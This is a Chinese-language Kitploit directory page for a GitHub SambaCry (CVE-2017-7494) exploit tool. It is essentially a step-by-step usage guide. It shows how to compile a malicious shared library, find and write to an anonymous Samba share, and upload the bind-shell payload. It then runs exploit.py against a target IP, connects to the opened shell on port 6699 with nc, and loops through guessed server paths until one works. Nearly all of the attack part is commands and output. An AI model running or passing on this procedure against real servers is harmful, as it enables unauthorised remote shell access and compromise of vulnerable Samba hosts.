Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-7494_SambaCry — SambaCry (CVE-2017-7494) Samba 漏洞利用 | 无需 Metasploit 的 bind shell | Kitploit
工具/GitHubGitHub/d3fudd/cve-2017-7494_sambacry
漏洞分析漏洞利用Shellcode渗透测试远程访问工具Payload 开发
GitHubd3fudd/cve-2017-7494_sambacry

CVE-2017-7494_SambaCry

SambaCry (CVE-2017-7494) Samba 漏洞利用 | 无需 Metasploit 的 bind shell

查看仓库
723年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2017-7494 SambaCry 漏洞利用

针对 Samba 的 SambaCry (CVE-2017-7494) 漏洞利用(无需 Metasploit 的绑定 Shell)

如果需要更改端口,只需修改 bindshell-samba.c 的第 68 行并重新编译:
image

root@kitploit:~
gcc -c -fpic bindshell-samba.c
root@kitploit:~
gcc -shared -o libbindshell-samba.so bindshell-samba.o

如何利用:

查看共享(在本例中我们使用匿名用户):

root@kitploit:~
smbclient -L //192.168.10.131/ -U "" -N
root@kitploit:~
	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	publico         Disk      Publico
	IPC$            IPC       IPC Service (maq131 server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            CHORA

访问一个文件夹并检查用户是否拥有写入权限:

root@kitploit:~
smbclient //192.168.10.131/publico -U "" -N

如果拥有写入权限,请发送文件 libbindshell-samba.so

root@kitploit:~
smb: \> mput libbindshell-samba.so
root@kitploit:~
Put file libbindshell-samba.so? yes
putting file libbindshell-samba.so as \libbindshell-samba.so (3.5 kb/s) (average 3.5 kb/s)
smb: \> dir
  .                                   D        0  Tue Nov  1 19:44:15 2022
  ..                                  D        0  Wed Jun 14 14:16:35 2017
  libbindshell-samba.so               A     8432  Tue Nov  1 19:44:17 2022

		3997376 blocks of size 1024. 1960284 blocks available
smb: \>

接下来,只需运行漏洞利用:
python2 exploit.py -t target_ip -m path_absoluto_server_side

示例:

root@kitploit:~
python2 exploit.py -t 192.168.10.131 -m /home/publico/libbindshell-samba.so

连接到 6699/TCP 端口:

root@kitploit:~
nc -vn 192.168.10.131 6699

image

如果不知道服务器端的绝对 PATH,建议进行猜测,并等待 6699/TCP 端口打开:

root@kitploit:~
for i in $(cat paths.txt);do python2 exploit.py -t 192.168.10.131 -m $i/publico/libbindshell-samba.so 2>/dev/null;done
下载工具